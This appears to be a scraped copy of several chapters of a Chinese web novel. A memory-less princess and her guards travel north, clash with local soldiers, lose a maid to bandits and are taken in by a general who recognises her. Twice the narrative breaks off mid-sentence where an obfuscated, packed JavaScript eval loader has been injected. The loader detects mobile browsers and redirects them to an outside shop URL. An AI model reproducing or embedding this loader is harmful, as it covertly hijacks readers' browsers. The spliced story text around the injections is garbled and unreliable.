冰绡一边将绑着舒雁的绳子解开一边回答道:“从公主要舆图开始……只是属下不知公主为何要去燕北。” “去找这珠钗的来历,我丢失了很多记忆,我以为就这样生活下去已经很好了,但是最近发生的这些事,都好像引导我去追问前尘,我这心里也总是感觉缺了什么。我不想这样糊里糊涂下去了,要找一个答案。” 舒雁揽着公主的胳膊抽泣着,冰绡听了心烦,责备道:“你还好意思哭,若不是你不告诉公主真相,公主怎会出逃。” 舒雁虽止住哭泣,可却并不辩驳,她一直犹豫要不要将曾经和亲之事告知公主,有一次话都到了嘴边但还是咽了下去,她怕公主接受不了这个事实,病情加重,遂不敢贸然开言。 暖暖只当她是不知情,便命冰绡不再逼问。 为避免引人注目,她们一行人换了朴素的衣衫,只安排一名绣衣使扮作车夫跟随,其余一部分人暗中护卫,一部分人先行探路。 正待冰绡想着如何跟陛下解释时,她收到了京中的旨意:季萧在祁国寻得良医,即刻带公主到祁国辽西郡宁远城疗疾。 冰绡松了一口气:这真是救命的稻草。 暖暖叹了一口气:白折腾了这么久。 叶皓收到季萧的消息后,立即想办法联系冷逸尘,此前冷逸尘每月都会送东西到公主府,有时是商队运货、有时是镖局护送。 但自去年八月后,就是暖暖回来之前,就再没人来送过东西。 他疑虑过冷逸尘是否有危险,派过绣衣使去祁京打探,得到的消息只是祁国内政混乱。他也不好再深入打探,依祁囯现在的政局,此事若让人知晓,只怕对冷逸尘不利。 此番季萧在收药时探听到了擅长医治头疾的郎中,但此郎中不知云游到那座山头,他只能让公主到燕北来,等找到郎中便可立即给公主瞧病。 叶皓下令给绣衣卫,不惜一切代价要护公主安全。 马车一路行至洛河青石渡,这个渡口是梁祁和梁国贸易往来的重要渡口,每日晨起至暮日,来往船舶不断,渡河都要排队,因而在渡口边兴起了经济。 暖暖一行人坐在茶摊边喝茶,先行的绣衣使早在三日前就订下了过河的船,只等这趟船回来即可启程。 好巧不巧,又遇见了赵永山一行人。 这赵永山也不见外,赶上前来打招呼:“真巧呀!又遇到小娘子了!”说着便坐下来与她们攀谈。 他要了碗茶,问道:“你们这是要去哪儿呀?” 暖暖没有正面回答,只说道:“去看病。” 赵永山好好看了看她道样子,面庞红润、精神十足,瞧着也不像是生病了的样子,便问:“姑娘什么毛病?” “头痛!” “那你真该去祁国看看,燕北以北有的是灵芝仙草,包治百病。” 冰绡插话道:“老哥,您去哪?” “贩货回乡,喏……”说着抬头示意旁边两辆满载货物的车。 “这么点也值得运一回?再说春茶和生丝还没有下来,我看你这一趟要赔钱喽?”冰绡见这群人的确没有恶意,也开起玩笑来。 赵永山向冰绡投去佩服的目光:“这位姑娘是行家呀!不瞒姑娘说,俺这次一是想回乡看看,二是着急回去收药材,去晚了可就没有好的了,一路上还要把这些货物销掉,所以才早早启程的。” 冰绡不解:“药材不是年年有吗?今年何必这样着急?” “这姑娘就不知道了吧,今年可与往年不同。去年后半年,北境就战争不断,中秋的时候,契丹攻打燕北,被俺大祁将士赶到了侯城外。现在秦长城内皆是俺大祁国土。”赵永山说着,言语间颇有自豪感。 他喝了口茶继续说道:“临闾关外被契丹侵占了多年,契丹人凶狠残暴,害得那里是荒无人烟呐,俺们已经好几年没回乡了。如今辽东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528967|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回来了,俺们也能回去看看了。”接着他压低了声音:“你们可不知道,关外山里的药材数不胜数,皆是长了十几年的老药,运气好的话还能遇见百年的人参。这几年无人进山,今年是头一年开山,那山里的宝贝,啧啧……” 暖暖心想:怪不得叶皓要派人去北地收药,原来是这个道理,之是不知为何要收集这么多药材。 赵永山又关切地说道:“你们要是还打算往北走,穿得这样单薄可不行,燕北还好些,出了临闾关可就更冷了,四月天里下雪都是常有的事。” 冰绡道:“多谢关心,我们再多备些衣物。” 这时,车夫来招呼冰绡一行人上船,暖暖起身告辞。 赵永山看看前面的人群,说道:“还没排到呢,着啥急!” 冰绡解释:“前些日子订了船。” “前几日订船,可是要船单独为你们跑一趟?就你们这点人、这些货?也值得?” “是。”为了安全起见,冰绡还派了绣衣使渡河在对岸接应,并定下了一条船单独送公主过河。 赵永山笑着叹气道:“有钱就是不一样哈。” 来到渡口,暖暖一看这船极大,车马都搬至船上只占了一小块地方,便对冰绡说道:“去告诉刚才那人,一起上船过河吧。” 冰绡迟疑:“公主,这……只怕不安全。” “去吧,他是辽东人,多一个朋友也多一条路。” 冰绡领命而去。 不一会赵永山便笑呵呵地来道谢:“多谢姑娘,今日可真是遇到贵人了,要不我们几个还不知道今天能不能过河。” 他身后的三个伙伴也都跟着道谢。 赵永山拿出钱袋,说道:“姑娘收着,这钱不能让姑娘出。” 暖暖回绝道:“赵大哥客气了,遇见就是缘分,何况咱们短短这几日就遇见了两次,大家就不必客气了,赶紧装了船出发吧。” “好!好!”赵永山也不再客气,收起钱袋,招呼身后的伙伴去找船工搬货装船。 半个时辰后,装货完毕,船缓缓离开渡口向对岸使去。 洛水河面宽阔,且到对岸卢峰渡还需逆水行舟一段,这样的大船一日中只能往返两次。 舒雁倒了茶水从船舱中出来,众人寒暄一番都擦手接了。 冰绡命先藏在船上各处的绣衣使暗中围住甲板上的人,她让舒雁为他们倒茶,也是有意将人都聚拢在一起。 一个高个子拿着茶盏赞叹道:“真是讲究人,连这茶盏用的都是细瓷,还别说,这手感就是不一样。” 另一个说道:“这茶真好,姑娘再给俺倒一盏。” 赵永山责备他们:“你们还真不要脸!既搭人家船,又喝人家茶的。” 高个子说道:“这还得一会儿才到,俺给姑娘讲个故事吧。”说完就讲起了山里的黄大仙。 舒雁很少听到这乡野山村事,坐下来听得津津有味,船舱里的暖暖也被吸引,竖着耳朵听起来。。 “……你们可得记住,要是有黄皮子向你讨封,问你他像人还是像神时,你一定要说‘像神!’……” 这话还未说完,船身摇晃了一下,众人也跟着摇晃了一下,接着就听到船老大喊了一声:“船靠岸了!” 众人起身准备下船,舒雁不死心,追着讲故事的人问道:“为什么要说‘像神’。” 高个子边走边说:“如果回答‘像人’,那黄皮子就要吸了你的阳寿修成人形;回答‘像仙’,就表示你承认它的修为,它就能得道成仙了。” 113. 平地起波澜 船只靠岸,赵永山一行要去销货,便与众人道别。 暖暖一行人继续北上,果然像赵永山说道一样,越往北走越冷,幸而冰绡与舒雁已购置了厚衣服。 舒雁对这些衣服十分不满,觉得粗鄙不堪,连宫中最低等的中官的衣服都不如。 冰绡恼她不知足,说道:“你可真是不知人间疾苦,这便是普通百姓人家穿的衣服,有什么不能穿?” “我委屈些没什么,只是怕委屈了公主。” “现在能买到这些已经很不错了。”冰绡翻了她一个白眼,继续表达不满:“公主可真是把你惯坏了,以前在王府、在宫中你何曾抱怨过这些,怎么越发不稳重了。” 舒雁被说得不再言语,自从她见过这个广阔天地之后,自己也觉得自己愈发放肆了,甚至觉得前二十年的日子有些荒废了。 暖暖拿过衣服说道:“是粗糙了些,路上将就些,等到了地方再置办新衣,再说咱们现在在外,不要太张扬。” 行路几日,绣衣使已将燕北的情况打探清楚。 去岁将匈奴赶出辽东后,燕北被重新划为了五郡,自西向东依次为:上谷郡、渔阳郡、右北平郡、辽西郡和辽东郡,每一郡均派重将把守。 冰绡已经与季萧取得联系,因辽西与辽东尚有匪患,季萧让她们到临闾关暂居,他已在关城内为公主置办了宅院,等到郎中归来后再请公主到宁远城看病,之后等他收完药材,再一同返回。 如此,她们的目的地便改成了临闾关。 临闾关,燕北重要关隘,现在是辽西郡的都府所在之地。 三月初的临闾关,大地刚刚染上春色,但春花开得正盛,站在城中向北望去,漫山遍野的杏花、梨花,似积雪未消。 季萧安排的这处院子隐在吕巷间,且安排了门人一名及厨娘一人,皆是绣衣使乔装。尽管她们行事已十分低调,但还是引来了周围邻居的好奇。 也不怪本地人好奇,临闾关城本就偏僻,自辽东收回后,这里才有了起色,以前只有秋季的时候才有人来收山货时热闹一阵,而如今出入辽北之人皆从此而过,遂各色贸易日渐兴旺,城中有了兴盛之势。 暖暖发现城中花树繁多,此处就如同花海一般,她十分喜欢。 冰绡则观察得仔细:“这些花树,包括山上的树都是新植的。” “你怎么知道?”舒雁将被褥搭在衣杆上:“这里的阳光真好,只是风太大了。” “来的路上,你没看到那些树都不大吗?像门口的梧桐,还有巷口的玉兰,都是小树。” 暖暖细思之,也的确是这样,若将来长成大树,必定更加美丽。 周围邻居按捺不住好奇,经常在门口树下围坐,小声猜测着这一行人的来历。 暖暖觉得与其让他们猜测不如给他们一个事实。 于是一个傍晚,暖暖命舒雁带着针线活儿去往人群中,并让她告诉大家,说自己来投奔亲戚,不想亲戚却南下贩货了,她只能在此等待。 众人这才止住了流言。 这临闾关相较于维扬,那简直就是一个天上一个地下,这里真的是偏僻得不能再偏僻了。 没有游玩之地,暖暖日日无事坐在院子里看着远处的山,真想把这满山的繁花都留下来。 她突然想到:左右无事,画下来不就行了吗! 说打就落,她立刻与舒雁一起出去买笔墨纸砚。 不想城中卖书墨的铺子就两家,都没有她想要的纸墨。一家店里的店主说倒是可以去别处进些货来,但是要先付定钱。没有别的办法,她只能同意,要了纸笔写了个清单交给老板。 店主接过一看,其中的一些颜料、纸张名称,竟连听都没听过,更不知去哪里去购买。 但到手的鸭子怎能让它飞掉,老板热情的说道:“这清单中有些画材贵重,要多加一些定金。” 暖暖也不计较,直接付了五两银子。 老板压抑着心中的激动,好生将二人送了出去,并让她五日后来取货。 还要等五日,只怕五日后花都谢了,暖暖的兴奋劲一下子就没了。 出了铺子已是午时,二人见路边的馄饨甚好,于是坐下来要了两碗。 北方人的实在,在这碗馄饨上大有体现,装馄饨用的碗是大海碗,碗里馄饨的数量,是梁京三清观旁馄饨摊上的两倍,且个个皮薄馅大。 若这一碗吃完,恐怕二人的肚皮都要撑破,暖暖看着碗有发愁,刚出锅的馄饨还是滚烫,她也不急,等着馄饨凉一些再吃。 就在这时,一个军士将刀重重地拍在桌上,大声说道:“老板,一人一碗馄饨。” 桌子一动,暖暖碗中的馄饨汤撒出来大半,好巧不巧,热汤烫了她的手、湿了她的衣裙。 舒雁见状赶紧用帕子为公主擦干净,此时公主的手上已红了一片,她质问那个军士:“大胆!伤了我家小姐。” 这时,她们才注意到周围已坐满了军士。 那军士蔑视她们一眼,并未道歉,也未说话。 舒雁怒道:“你们也太放肆了,竟敢当街伤人,还讲不讲理。” 那人被激怒,说道:“老子刚刚查案回来,还没吃上一口热乎的,你家小姐也太矫情了,不就是洒了点汤水吗?再说伤了你又怎样,别挡着老子吃饭。” 舒雁气得面红耳赤,与这些人无法讲理:“你……” 此时另一个军士坐过来调和:“诶,不小心的嘛,来,妹子,坐下一起吃。”说完便去拉舒雁的手。 舒雁又气又羞,脸如红萝卜一般,抬手便给了那人一巴掌。 那人岂能干休,喝到:“你这小女子,胆子可不小,老子好言好语的,真是不知好歹。”说着便要去拿刀。 暖暖刚要出手时,幸好冰绡赶到,将那人的刀按在桌上,又拿了一把匕首架在那人身上,其他军士见状赶紧提刀围了上来。 周围的百姓见状赶紧躲了起来,唯恐一会儿打起来伤及自身。 “谁敢动,我就杀了他。”冰绡说完示意公主与舒雁躲在她身后。 冰绡如此怒气,也是有原因的,此次带来的绣衣使过多,在城中露出一些端倪,城中有人开始调查,致使锦衣卫一死一伤,无奈她只能将人调至别处,而眼前的一行人便是调查绣衣使之人。 那个弄洒馄饨的军士见状,站起来说道:“都把刀放下,将军有令,不得扰民,今日之事是个误会,你们姑娘也忒娇嫩了些,烫了一下何止如此,散了,散了,都散了、” 众军士收起兵器坐回原位,暖暖见状上前示意冰绡收了匕首,这里毕竟是祁囯,最好不要将事情闹大,这对她们没有任何好处。 冰绡自然知道这一点,她忍下怒气,收了匕首,护送公主与舒雁离开。 回到家中,暖暖心有余悸,以她的身份,若与祁国官方有什么瓜葛,便是邦交大事,好在对方也没有纠缠。 本以为此事就此揭过了,没想到两日后,舒雁与暖暖在巷子里又遇到了两个人,其中一个便是被冰绡劫持的那人。 他们拦住二人的去路:“你们让老子在人前失了颜面,今天老子就好好收拾收拾你们。” 暖暖毫不慌张,她知道冰绡就在附近,斥责道:“光天化日之下你们敢怎样?身为军士,欺压百姓,你们就等着军规军法处置吧!” 不料那人并不害怕:“我等处理几个刁民, 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“无妨,起来吧,你是不是也被他们刁难了?” 冰绡蔑视了一眼地上躺着的人:“是,哼,就凭这几个人,不自量力。” 暖暖又问:“他们怎么办?” “公主先回家,属下自会善后。”冰绡说完,吹了一声口哨,两个绣衣使出来,护送公主与舒雁回去。 这里,她自有安排。 冰绡命手下人将这群人捆了,连同她遇到的,总共四人,给他们套上头套,叫醒后毒打了一顿,四人皆跪地求饶。 冰绡问道:“你们是哪里的军士?” 军士嘴硬:“有本事把我们放了,咱们单挑。” 冰绡冷笑一声:“单挑?还真是自不量力,嫌自己命长了?给我接着打。” 绣衣使下手极重,一群人鬼哭狼嚎,终于有人招架不住,自报家门:“临闾关驻军。” 冰绡一听是军方,便命人住了手:“今日留你们一命,回去向你们都上司请罪,给你们三日时间,让你们都上司到这个地方,亲自来向我家小姐赔罪,否则……小心你们的项上人头。” 冰绡说罢便带着人走了,留下一片痛苦呻.吟之声。 四个人互相解开了绳子,摘下头套,彼此间看了看,皆是鼻青脸肿,其中一个摔了头套:“真是自找窝囊。” 四人狼狈回营,立即有人汇报给了军中主将——任泽生。 没错,就是冷逸尘曾经的护卫,任泽生。 他缘何在这里,此事还要从燕北五郡划分之时说起。 自冷逸尘平了何敞之乱后,手中军权在握,遭到朝中之人猜忌,冷书屿舅舅亦逐步掌权,这些内阁大臣都看在眼里。 赶出契丹后,内阁趁机肃清朝政,将朝中掌权之人分派到燕北。冷逸尘已失了叶岚,又被冷书屿寒了心,便自请去了辽西郡,又推荐泽生统领辽东郡,内阁为平衡势力,任命各郡守将:上谷郡柳元,渔阳郡韩平,右北平郡程墨。 鉴于泽生统兵经验不足,冷逸尘便让他留守辽西郡临闾关,他亲自前往辽东郡整理军队。 任泽生看着跪在面前的四人蔫头搭啦脑的,便是气不打一处来,问明原因后,更加生气,又一人罚了二十军棍。 他被他家殿下逼上这个位置,硬着头皮去处理军中之事,本来就日日烦忧,手下人还干出这等蠢事来,被一个女子打到爹娘都认不出,真是丢人丢到家了。 不想城中竟还有如此厉害人物,他决定去亲自去会一会此人,当晚,换了黑衣,用黑布覆了面,来到关城中那一行人的住处。 114. 绝处又逢生 月黑风高夜,人定寂无声。 任泽生顺墙而行,来到那处宅院,绕宅一周确定无闲人后,将一颗石头丢进院子中。 不多时,果然一女子提剑而出。 泽生单手抱拳,示意她要比试拳脚,并说道:“听闻阁下功夫了得,特来比试。” 冰绡见来人行事诡异,一时猜不透他的来历,但他倒也不像是冲着公主来的,便尊重他的意思,将剑置于墙边。 事发突然,此人到来她竟一点未察觉,看来是身手不凡,等他先出招,想看看是什么路数,于是比了一个请的姿势。 对方出拳,似猛虎下山冲了过来,冰绡一侧身,他的手贴着她的衣服擦过。冰绡一个反手出掌,不料对方似有准备,以臂相迎,力道之大令她后退一步。 双方对峙,气氛紧张,皆拳法如震雷,脚下步伐稳健而迅速,一时间分不出胜负,但二人似乎都怕惊扰到四邻,即使被打也忍痛不出声。 暖暖趴在门缝处看着他们,对方功夫极好,十分担心冰绡受伤。 她也看了二人的动作上似有疑虑,既然他们怕人看见,便要有人才能打断他们,于是命舒雁提着灯笼去开门。 舒雁何尝见过这等阵仗,心中有些害怕,她深吸一口气,紧紧提着灯推开了门。 “吱呀”一声门响,打断了打斗之人,他们不约而同地收了手。 任泽生闻声看去,只见灯笼的柔光笼罩着一个衣袂飘飘的身影,仿佛似仙女下凡一般,让他竟有些看呆了。 “你到底是谁?”冰绡忍着痛,小声问道。 任泽生被打断,收回目光,说了句“江湖人”后,捡起剑飞身而去。 冰绡看着他的背影,皱着眉说了句:“莫名其妙。”之后赶紧护着舒雁进门去了。 泽生回去后,细细复盘对手的拳法,他已很久没有遇到如此强劲的对手了。 这女子应当也是侍卫出身,但她要保护的是何人?会不会是那个仙女?若真是那个仙女,去替那帮废物道个歉也不是不可以。 思来想去,他决定前去一探究竟。 次日一早,晴空万里,惠风和畅。 冰绡传消息至季萧,详述前情,她恐此地已然不安全,便联系季萧,准备前去投奔。 消息刚刚让人带走,泽生便带着那日惹事的四人,提着四样礼物,前来敲门。 暖暖见有人来,便与舒雁躲进屋内。 大门开后,泽生说明来意,他见院子虽不大,但门房仆妇俱全,心想或是落难的大户人家,于是也客气了几分:“是本将治军不严,让下属唐突了你家小姐,烦请小姐出来接受道歉。” 想起那日的事,冰绡恨不得将他们斩杀,她不过这将军倒是讲礼,她冷冷地回道:“我家小姐不见外男,你们都歉意,我自会转达,东西带走,不送。” 未见仙女,泽生怎肯罢休:“昨日是你们要求我们来道歉,我们带着诚意来了,你们又拒而不见,是何道理。” “在此道歉即可,不见就是不见。”冰绡说完便提起礼物要送至外面。 泽生用手一挡,冰绡手上加大力道,一推一挡之间,冰绡便试出他就是昨日之人。 二人相距不到一尺,目光交锋,仿佛在空中燃起火花。 屋里暖暖见状,急忙让舒雁出去救急。 舒雁理了理头发,来到院子里,她的出现,再次令二人住了手。 昨晚虽灯光朦胧,未见仙女真容,但泽生一看这身形,便确认眼前的女子是仙女无疑。 他整理了一下衣摆,恢复了初来时的风度,也不管自己现在是什么将军身份,拱手施礼道:“在下是临闾关守将,今日特来向小姐道歉,我已责罚了他们四人,还请小姐原谅。”说完抬头看了舒雁一眼。 二人的目光交汇于半空之中,舒瞬间红了耳根,款款回了一礼:“事已过去,不必再提,烦请将军以后能严明军纪,管好下属,莫再做出伤民之事。” “在下谨记。”泽生说完又抬头看了一眼仙女后才转身离去。 暖暖透过窗户看着这将军的一举一动,隐隐约约觉得熟悉,她又想起她四哥以前喜穿白衣,这人大概是与他相似吧。 她们提心吊胆地过了三日,终于收到季萧的消息:轻装带公主至宁远城,路上千万注意安全。 出临闾关,北上三百余里便是宁远城,按说如此距离,最多三四日便也到了,季萧不必单独提醒注意安全。只因关外被外族蹂躏多年,匪盗为患,且常有大型野兽出没,如今虽然收复了,而这些问题尚未解决。 冰绡为不引人注意,只备了一辆马车,三人换了粗布衣衫,靠着季萧画的简易舆图,三人轻装前往宁远城。 出了临闾关城门向北走,路沿着山势与海岸曲曲折折。 暖暖已知这临闾关在依山傍海,也早想去看海,可奈何附近的个海岸是军营驻地。 她在车中看着海浪滔滔,便令冰绡停下马车,与舒雁一起到海边玩了一会儿。 阳光洒落在海面上,一片波光粼粼,波涛拍打着岸边的礁石,卷起层层白色浪花。 暖暖拎起裙摆,脱了鞋袜踩在沙滩上,感受着一层层海浪涌过脚背,有些暖、又有些凉。 舒雁拾了很多贝壳,小心翼翼地用帕子包起来:“公主小心着凉……” “你也来试试,舒服着呢!” “奴婢可不敢……”舒雁捡起一枚贝壳,吹掉上面的沙砾,小心翼翼地用帕子包起来。 暖暖瞧着她手中紫色的贝壳并不完整,说道:“捡这些做什么?又不好看?” “留一些做纪念,估计以后不会再见到了。”舒雁言语间有些失落。 “那你就留在这里。”暖暖踢了踢浪花中的海藻。 “公主说什么傻话呢?等咱们从宁远城回来,估计就要回去了。” “那你就嫁到这里来,怎么样?” 提到嫁人,舒雁竟想到了那日的白衣将军,不由得有些面红,看着海水离岸越来越近,不由得好奇。 “是涨潮了,大海每日上午涨潮、下午退潮,这就是潮汐,渔民还会趁着退潮去赶海……”暖暖说着,捡了块礁石坐下,拍拍脚上的沙子:“时候差不多了,咱们出发吧。” “潮汐?赶海?公主真是博才多学。”舒雁说着,蹲下身来为公主穿好鞋袜。 是啊,她怎么会知道潮汐、赶海?暖暖有些疑惑,这也许是以前从书上读到的吧。 三人再次启程,行路一日,天下起雨来。 所到之处荒无人烟,冰绡料到会露宿,已做好准备。她将马栓到树下,将车身用车撑和车轫固定好,三人在车中避雨。 舒雁听着外面时大时小的雨声,十分忧愁:“这雨也不知什么时候会停。” “停不停的,咱们都要在此休息一晚了。”冰绡神色平常,露宿野外对她来说已是家常便饭。 外面天色黯淡,看不出是什么时辰,只觉得一股股寒意将马车包围。 暖暖吃了些干粮,盖着披风,与舒雁依偎着,阖眼睛休息。 不知过了几时,外面逐渐安静下来,隐隐约约可听见草丛里的蛐蛐声。 忽然,冰绡坐正了身体,头稍稍转动了一下,她似乎听见了一种不自然的声音,像是衣襟划过草叶发出的声音。 是有人来了,她心下一沉,赶紧熄了灯。 紧接着外面就传来马儿的声嘶鸣,暖暖与冰绡被惊醒,见冰绡对她们做一个噤声的手势。 掀开帷幕一角,她们看见远处有身影移动,果然是劫匪! 冰绡赶紧让公主拿好剑。公主的剑太过华丽,已被她用布条包起来。又将一把匕首交个舒雁,让她们在车中等着,自己悄悄下了车。 劫匪个个身形粗犷,劫完马匹便向马车聚拢过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558013|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 冰绡用飞镖解决了最靠前的两个人,而后向人少的一方跑去,企图将人引开。 劫匪发现暴露后,一拥而上,将她围住,她武力虽强,但是架不住对方人多。寡不敌众,她受了几处伤,但也杀死了多半的劫匪。 暖暖见状,毫不犹豫地下车去帮忙,一部分劫匪被她吸引过来,让冰绡有了一丝喘息之机。 正打斗间,忽然听见舒雁的尖叫声,和一声尖锐的口哨声。 趁暖暖与冰绡分神之际,劫匪们迅速逃走。 原来劫匪他们只为求财,不料却折了好些人进去,于是上车洗劫财物,未想车上还有一美人,大喜过望,便连人一起绑了,招呼人马,速速离开。 冰绡去追,却被人暗中射了一箭,她体力不支倒在了草丛中。 暖暖见劫匪已隐入山林中,再追只怕更危险,便扶着冰绡回到马车上,掌灯查看伤势。 冰绡的衣服已被血浸红,在她的指导下,暖暖翻找出金疮药,帮她将几处伤口包扎起来。 棘手的是肩膀处的那只箭,箭簇没入骨肉深处,直接拔出来恐牵扯血管和筋脉。她将箭尾折断,把匕首交给公主,声音因疼痛有些颤抖:“不能直接拔,请公主将皮肉划开,取出箭头。” 她说完,抓了一团布咬在口中,闭上眼睛扭过头去。 暖暖接过匕首,看看伤口,又看看匕首,匕首上映出的烛光让她有些胆怯。 终于,她还是放下了匕首,撕了一件外衫,将冰绡的固定在胸前右臂,说道:“我没有把握,咱们一定还有别的办法。估计劫匪不会再来,咱们等天亮就去找季萧。” 天阴夜黑,也只能这样了,冰绡再次熄灯,解释道:“恐将野兽招来。” 野兽,暖暖听了不由得更加担心,血腥味会把野兽引来,正不知如何是好时,忽听隐隐约约有人声,她掀开车窗帷幕,远远看见有火光。 二人不禁又将心悬起来,紧握手中之剑。 待那些人的火光近了,才听清他们的话:“这里明明有灯亮着,去看看车上有没有人,小心一些。” 冰绡猜测道:“像是祁国的军队的人。” “要怎么办?” “公主将面容遮起来,咱们只说是去临闾关投奔亲戚,其它不要多言。” 暖暖点点头,便将撕剩下的外衫裁下一块吗,当作围巾在头上,将面容遮住。 刚刚围好围巾,一把刀挑开车门。 她被吓出了一身冷汗,只听外面的人说道:“这里有两个女子。”又转向车内:“别怕,我们是剿匪的队伍,这里不安全,先跟我们走。” 暖暖将信将疑,但眼下只有跟他们走,或许才有希望活下去。 她扶着冰绡下车,对那人说道:“她受伤了。” 那人道:“先回大营再说。” 她二人跟着军士,也不知道在朝着哪个方向行走,冰绡悄悄用匕首在路过的树上做下标记。 此时的她们衣衫破旧、满身泥水,任谁也看不出、想不到这二人是公主与侍卫。 前路漫漫不知终点,冰绡摔倒了几次,用剑当拐杖勉强跟地上队伍。 也不知行了多久,终于看见一片火光,再走近一些,才看清是一座军营。 走到大营门口,冰绡再也支撑不住,晕倒在地。暖暖害怕起来,使劲摇着她,也不敢发出声音,眼中蓄满了泪水。 军士则催促着她们快些起来,说着便要伸手去拽她们。 “住手,不得无礼。” 那军士的手刚要触及暖暖的衣衫,便听到身后传来呵斥声,她寻声望去,只见一年轻将军向这里走来。 那将军一身戎装,本是银色的柳叶甲衣在火光的映照下泛着烁烁金光,虽面色严肃,但俊朗的眉目、温润的气质,与这充满肃杀之气的军营有些格格不入。 这个人,好生眼熟。 115. 对面不相识 冷逸尘自北境而归,在宁远城与泽生交接完毕后,前往临闾关。途中见天色不好,便命军队就地安营扎寨,等天气好转再启程。 晚间,巡守的军士来回禀:附近有土匪出没,土匪还抢了马匹。 那么定是有人落难了,他立即派出一支队伍去搜寻,不想竟带回了两个女子,见军士对她们粗鲁,便出言喝止。 冷逸尘见那女子的背影,便觉有熟悉之感,脚步不自觉地朝她走去。 那女子回头,一双水汪汪的眼睛看来过来,睫毛一动,豆大的眼珠掉落,浸入蒙着脸的围巾里。 这双眼睛,他再熟悉不过,不用看容貌他就敢肯定,这是叶岚,是他思之切、念之深的叶岚。 他心中翻起滔天骇浪,缓缓蹲下身来,伸手想摘去她面上的围巾。 此时的暖暖,心中戒备,以为他要有不轨之举,便身子稍稍靠向冰绡一侧,低头躲过了他的手。 可是冰绡还需要救治,眼下若惹恼了他,只怕没有好果子吃。权衡利弊后她还是抬起头,看着那将军眼里的光从惊讶变成激动。 她不理解这目光的变化,带着些屈辱,小声说道:“请将军……救救她……” 虽然这声音柔弱、疏离而又冰冷,可却是那样熟悉,冷逸尘心头一颤,他想起叶皓的话。 “她已经不记得你了……” 果然,她一点也不记得他了,她是真的不记得了。 但是,她回来就好。 “别怕,跟我来。”冷逸尘:声音发涩,压制着内心的颤动,将她抱起向营帐走去,并吩咐人将受伤的女子也抬进来,再请军医过来。 暖暖不明就就理,此时她已没有力气挣扎,只能怀着忐忑的心,任由他将自己抱进营帐,进到屏风后,坐到了床上。 冷逸尘极力控制自己的情绪,但还是激动得眼中含泪,忍不住叫了一声:“叶岚。” “将军认错人了。”暖暖想告诉他,自己并不叫叶岚,但也不想将自己的姓名告知。 但她却听眼前的男子笃定地说道:“不会错。” 那将军单膝蹲下身与她平视,目光中似乎带着一种坚定。 可他怎么能这样自信,他连她的模样都没有看到,怎么就这样武断道认为她就是他口中之人。 “将军,军医已到。”有军士在屏风外回禀。 “我去看看她。”暖暖这才与那将军的目光错开,起身走到屏风外。 此时外面又架起一道屏风,屏风内军医正在为冰绡诊脉,她上前描述伤情:“身上的伤口已经上过金疮药,她右肩中箭。” 军医检查了冰绡右肩,只见箭镞差一点就贯穿肩膀,伤口处的皮肤隐隐发黑。 军医说道:“箭头有毒…贸然拔出,箭簇上的倒刺会带出更多血肉。” 他又捏了捏肩膀,确定箭簇的位置,思考了一下说道:“如今之计可将箭簇穿透肩膀,再用细线将箭簇带出。” “还有没有别的办法?”暖暖十分担忧,这该有多痛。 此时冰绡已醒,说道:“劳烦先生。”说完,之后拿起一块包扎伤口布条塞到了嘴里。 军医让暖暖扶着冰绡坐起身来,用剪子剪开伤处的衣服,不经意间用力将断箭末端一推一推,箭簇便从后背冒出。 “啊……”冰绡痛苦地低喊了一声,布条从口中掉出,她面色煞白,额头上瞬间布满冷汗,但是这还没有结束,她用颤抖的手捡起布条塞回口中。 军医又将一根马尾细线将箭簇缠住,小心用力,将剩下的半支箭拔出。 蚀骨的疼痛令冰绡的面容扭曲,她紧紧咬住布条,冷汗不断冒出,积聚在一起顺着鬓角流下,身体也微微颤抖起来。 箭杆拔出后,血顺着伤口流了下来,她这才松了口气又晕了过去。 军医赶紧为她上药,之后由暖暖为她包扎、整理衣衫。 冷逸尘的目光一直未从暖暖身上错开,曾经他受伤时她也是这般照顾自己的。 激动的心情渐渐回落,他心中有很多疑惑,她为什么会在这里?怎么穿成这样?到底发生了什么事? 他不敢追问,刚才的举动已经让她感到害怕,现在不可再冲动,不能再伤害她。 暖暖安顿好冰绡,转头才发现那将军就一直这样看着自己,她复而低下头去,下意识地整理了一下鬓角。 刚才的紧张让她出了一身冷汗,加之这营帐里又添了一暖炉,现在头发已经被湿透了。她解开围巾,汗水和着灰尘在她脸上留下一些淡墨色的痕迹,看起来就像小花猫一样。 冷逸尘终于见了她的全貌,脚步不自觉地向前迈了一步,但又立即止住,转身走到屏风后吩咐了一番。 暖暖见他出去,看着屏风上的身影,高大颀长,举手投足间有一股温文尔雅之意。 她感觉这将军似乎不是坏人。 应该向他道个谢,还有舒雁,他也许能帮忙,想到此处,她起身走出屏风,在离那将军三步远的地方欠身行礼。 如此救命之恩她觉得应该行叩拜礼,但是她公主之身不允许她这样做。 “多谢将军相救……我还有个婢女被劫匪掳走了,能不能请将军派军去救她。”暖暖知道这是不情之请,但是为舒雁她还是要试一试。 “好,我马上派兵,你先吃些东西。”冷逸尘说完,将盛好的粥双手递上,之后便出了营帐。 暖暖本来还打算再说些请求的话,却未想他会如此痛快,看来她是沾了那个叫“叶岚”的姑娘的光了。 手中的碗温度正适宜,看粥的样子,应该是用勺子仔细搅动晾凉过,也许,是在里面加了东西。 